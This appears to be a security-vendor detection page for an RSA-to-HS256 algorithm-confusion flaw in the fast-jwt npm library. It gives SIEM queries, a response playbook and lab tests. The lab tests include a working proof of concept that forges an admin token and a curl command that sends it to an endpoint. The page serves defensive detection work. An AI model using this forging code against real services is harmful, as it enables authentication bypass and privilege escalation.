fast-jwt Incomplete CVE-2026-34950 Patch: Non-Whitespace Key-Prefix RSA→HS256 Algorithm Confusion (CVE-2026-107722)
Detects exploitation of CVE-2026-107722, an incomplete-patch regression in the fast-jwt npm library (>= 6.2.0, <= 6.2.4). The original CVE-2026-34950 fix stripped only whitespace when normalizing a verifier's configured key, so a non-whitespace key prefix re-enables the classic RSA→HS256 algorithm-confusion attack: an attacker forges a JWT with the header alg set to HS256 and signs it using the application's RSA public key (which is not secret) as the HMAC secret. A vulnerable fast-jwt verifier configured for an RS256/RS384/RS512 public key will accept the forged HS256 token, allowing authentication bypass and privilege escalation. Detection focuses on JWTs presenting alg=HS256 against endpoints that should only accept asymmetric algorithms, verification acceptance of HS256 tokens, and the presence of affected fast-jwt versions in running Node.js services.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- npm
- Product
- fast-jwt
- Versions
- >= 6.2.0, <= 6.2.4
Weakness (CWE)
Timeline
- Disclosed
- October 8, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-ww5h-9m49-7xx4
- https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4
- https://github.com/nearform/fast-jwt/pull/632
- https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa
- https://github.com/nearform/fast-jwt/releases/tag/v6.3.0
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
What is CVE-2026-107722 fast-jwt Incomplete CVE-2026-34950 Patch: Non-Whitespace Key-Prefix RSA→HS256 Algorithm Confusion (CVE-2026-107722)?
fast-jwt Incomplete CVE-2026-34950 Patch: Non-Whitespace Key-Prefix RSA→HS256 Algorithm Confusion (CVE-2026-107722) (CVE-2026-107722) maps to the Initial Access and Privilege Escalation and Credential Access tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for fast-jwt Incomplete CVE-2026-34950 Patch: Non-Whitespace Key-Prefix RSA→HS256 Algorithm Confusion (CVE-2026-107722), covering the data sources and telemetry it touches: IIS/Reverse-proxy HTTP logs, WAF/Application Gateway logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
// df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence
// Detects JWTs presenting alg=HS256 to services that should only verify asymmetric (RS256) tokens.
// Requires HTTP/proxy logs that capture the Authorization header or a decoded JWT header claim.
let suspectAlgs = dynamic(["HS256","HS384","HS512"]);
W3CIISLog
| where csUriStem has_any ("/api/", "/auth", "/login", "/token", "/graphql")
| extend AuthHeader = tostring(column_ifexists("csAuthorization", ""))
| where AuthHeader startswith "Bearer "
| extend JwtHeaderB64 = tostring(split(substring(AuthHeader, 7), ".")[0])
| extend JwtHeaderJson = base64_decode_tostring(replace_string(replace_string(JwtHeaderB64, "-", "+"), "_", "/"))
| extend Alg = tostring(parse_json(JwtHeaderJson).alg)
| where Alg in (suspectAlgs)
| project TimeGenerated, cIP, sSiteName, csUriStem, Alg, JwtHeaderJson, AuthHeader
| summarize Hits=count(), Uris=make_set(csUriStem, 20), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by cIP, Alg Flags inbound requests whose Bearer JWT header advertises an HMAC algorithm (HS256/384/512) against application endpoints expected to use RSA verification, the core signal of an RSA→HS256 confusion forgery against vulnerable fast-jwt.
Data Sources
Required Tables
False Positives
- Applications that legitimately accept both symmetric and asymmetric JWTs on the same endpoint during a migration window.
- Internal service-to-service tokens genuinely signed with HS256 shared secrets routed through the same proxy.
- Security scanners and JWT fuzzing tools (e.g. jwt_tool) run by the organization's own pentesters.
Query fingerprint DF00-e0e44687cc · licence
Sigma logsource & community rules
The detection logic for fast-jwt Incomplete CVE-2026-34950 Patch: Non-Whitespace Key-Prefix RSA→HS256 Algorithm Confusion (CVE-2026-107722) (CVE-2026-107722) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-107722
References (5)
- https://github.com/nearform/fast-jwt/security/advisories/GHSA-ww5h-9m49-7xx4
- https://github.com/nearform/fast-jwt/pull/632
- https://github.com/nearform/fast-jwt/commit/d96bbc6c5336055a6dbfa318fdbab01197264cfa
- https://github.com/nearform/fast-jwt/releases/tag/v6.3.0
- https://github.com/advisories/GHSA-ww5h-9m49-7xx4
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Forge RSA→HS256 confusion token against vulnerable fast-jwt verifier
Expected signal: Node.js process installs [email protected]; a JWT with header {"alg":"HS256"} is generated and verified in-process.
- Test 2 Submit HS256 forged token over HTTP to a protected endpoint
Expected signal: Proxy/web access log records a request to /api/profile with an Authorization: Bearer header whose decoded JWT header alg is HS256.
- Test 3 Inventory scan for affected fast-jwt versions
Expected signal: File read access to package-lock.json files; process execution of node for version parsing.
Response Playbook
Triage
- Decode the offending JWT header and payload (do not trust the signature): confirm the header alg is HS256/384/512 while the target application is configured for RS256/384/512 verification — this mismatch is the primary indicator.
- Identify the receiving service and confirm whether it uses fast-jwt at a version in the affected range (>= 6.2.0, <= 6.2.4) via `npm ls fast-jwt` / lockfile inspection.
- Check the application response/auth outcome for the flagged request: an HTTP 200 / successful authentication following an HS256 token against an RSA endpoint indicates the forgery was accepted (true exploitation), versus a 401 (blocked attempt).
- Review the JWT claims (sub, roles, scopes, exp) in accepted tokens to determine whether privilege escalation or impersonation occurred.
Containment
- Upgrade fast-jwt to 6.3.0 or later on all affected services immediately; if upgrade is blocked, explicitly pin the verifier to the asymmetric algorithm via the `algorithms` allow-list option so HS* is rejected.
- Rotate any RSA key pairs whose public key may have been used as the HMAC secret, and invalidate all currently issued sessions/tokens (bump key id / signing key) to force re-authentication.
- Place a temporary WAF/proxy rule rejecting inbound Bearer tokens whose decoded header alg is in the HMAC family on RSA-only endpoints.
Evidence Collection
- Preserve raw proxy/web access logs containing the full Authorization header and the decoded JWT header/payload for each flagged request.
- Capture the application's fast-jwt verifier configuration (algorithms option, key material source) and the installed package version from the lockfile.
- Snapshot authentication and authorization audit logs around the event window to establish whether forged tokens produced authenticated sessions or privileged actions.
Escalation Criteria
- ! Escalate to incident response if any HS256 token against an RSA endpoint received a successful (authenticated) response, indicating confirmed authentication bypass.
- ! Escalate if forged-token activity correlates with privileged account actions, data access, or lateral movement.
- ! Escalate if the affected fast-jwt version is confirmed in a production, internet-facing service handling sensitive data.
Investigation Guide
Forensic Artifacts
- >
Proxy/web access logs containing Bearer tokens with HMAC alg headers. - >
fast-jwt version in package-lock.json / node_modules and the verifier's algorithms configuration. - >
Application auth-success audit records correlated with forged token requests.
Tuning Guidance
Build an allow-list of endpoints/services that legitimately accept HMAC-signed JWTs and exclude them, so the detection fires only where RSA verification is expected. If application logs expose the auth outcome, tighten to accepted HS256 tokens (HTTP 200) to eliminate blocked-attempt noise. Suppress known security-testing source IPs. Where an ingest pipeline can decode the JWT and compare the header alg against the endpoint's configured algorithm, promote matches to high confidence.
Hunting Queries
Baselines which clients and endpoints present HMAC-family JWTs, so RSA-only services receiving HS* tokens stand out.
// df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence
W3CIISLog | extend AuthHeader = tostring(column_ifexists("csAuthorization","")) | where AuthHeader startswith "Bearer " | extend Alg = tostring(parse_json(base64_decode_tostring(replace_string(replace_string(tostring(split(substring(AuthHeader,7),".")[0]),"-","+"),"_","/"))).alg) | where Alg startswith "HS" | summarize count() by cIP, Alg, csUriStem ``` df00tech DF00-e0e44687cc · https://df00tech.com/detections/CVE-2026-107722 · licence: https://df00tech.com/detections/licence ```
index=web | eval auth=coalesce(authorization,http_authorization) | where match(auth,"(?i)^Bearer ") | eval alg=replace(base64decode(mvindex(split(replace(auth,"(?i)^Bearer\s+",""),"."),0)),".*\"alg\":\"([^\"]+)\".*","\1") | where match(alg,"(?i)^HS") | stats count by src_ip, alg, uri_path Atomic Red Team Tests
In a lab, create a fast-jwt verifier using an RSA public key and submit a token signed with HS256 using that same public key as the HMAC secret to confirm acceptance on vulnerable versions.
Command
mkdir -p /tmp/fastjwt-poc && cd /tmp/fastjwt-poc && npm init -y >/dev/null 2>&1 && npm i [email protected] >/dev/null 2>&1 && openssl genrsa -out priv.pem 2048 2>/dev/null && openssl rsa -in priv.pem -pubout -out pub.pem 2>/dev/null && node -e 'const{createSigner,createVerifier}=require("fast-jwt");const fs=require("fs");const pub=fs.readFileSync("pub.pem");const forged=createSigner({algorithm:"HS256",key:pub})({sub:"attacker",role:"admin"});const verify=createVerifier({key:pub});try{console.log("ACCEPTED",verify(forged));}catch(e){console.log("REJECTED",e.message);}' Cleanup
rm -rf /tmp/fastjwt-poc Expected Telemetry
Node.js process installs [email protected]; a JWT with header {"alg":"HS256"} is generated and verified in-process.
Expected Detection
Host-level package inventory flags fast-jwt 6.2.4 as affected; if the verifier is served over HTTP, the proxy detection flags the HS256 token.
Send a crafted HS256 Bearer token to an application endpoint that expects RSA-verified JWTs, generating the network telemetry the detections key on.
Command
TOKEN=$(node -e 'const{createSigner}=require("/tmp/fastjwt-poc/node_modules/fast-jwt");const fs=require("fs");console.log(createSigner({algorithm:"HS256",key:fs.readFileSync("/tmp/fastjwt-poc/pub.pem")})({sub:"attacker",role:"admin"}))'); curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer ${TOKEN}" http://localhost:3000/api/profile Cleanup
unset TOKEN Expected Telemetry
Proxy/web access log records a request to /api/profile with an Authorization: Bearer header whose decoded JWT header alg is HS256.
Expected Detection
KQL/SPL/CQL rules fire on the HMAC-algorithm JWT reaching an RSA-only endpoint.
Enumerate installed fast-jwt versions across Node.js projects to identify hosts in the vulnerable range.
Command
find / -name package-lock.json 2>/dev/null | while read f; do grep -l '"fast-jwt"' "$f" 2>/dev/null; done | while read f; do echo "$f"; node -e 'const l=require(process.argv[1]);const s=JSON.stringify(l);const m=s.match(/fast-jwt[^}]*?"version":"([^"]+)"/);console.log(" fast-jwt",m?m[1]:"?")' "$f"; done Cleanup
echo 'no cleanup required (read-only inventory)' Expected Telemetry
File read access to package-lock.json files; process execution of node for version parsing.
Expected Detection
Vulnerability management / SCA flags any fast-jwt version >= 6.2.0 and <= 6.2.4 as CVE-2026-107722 affected.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040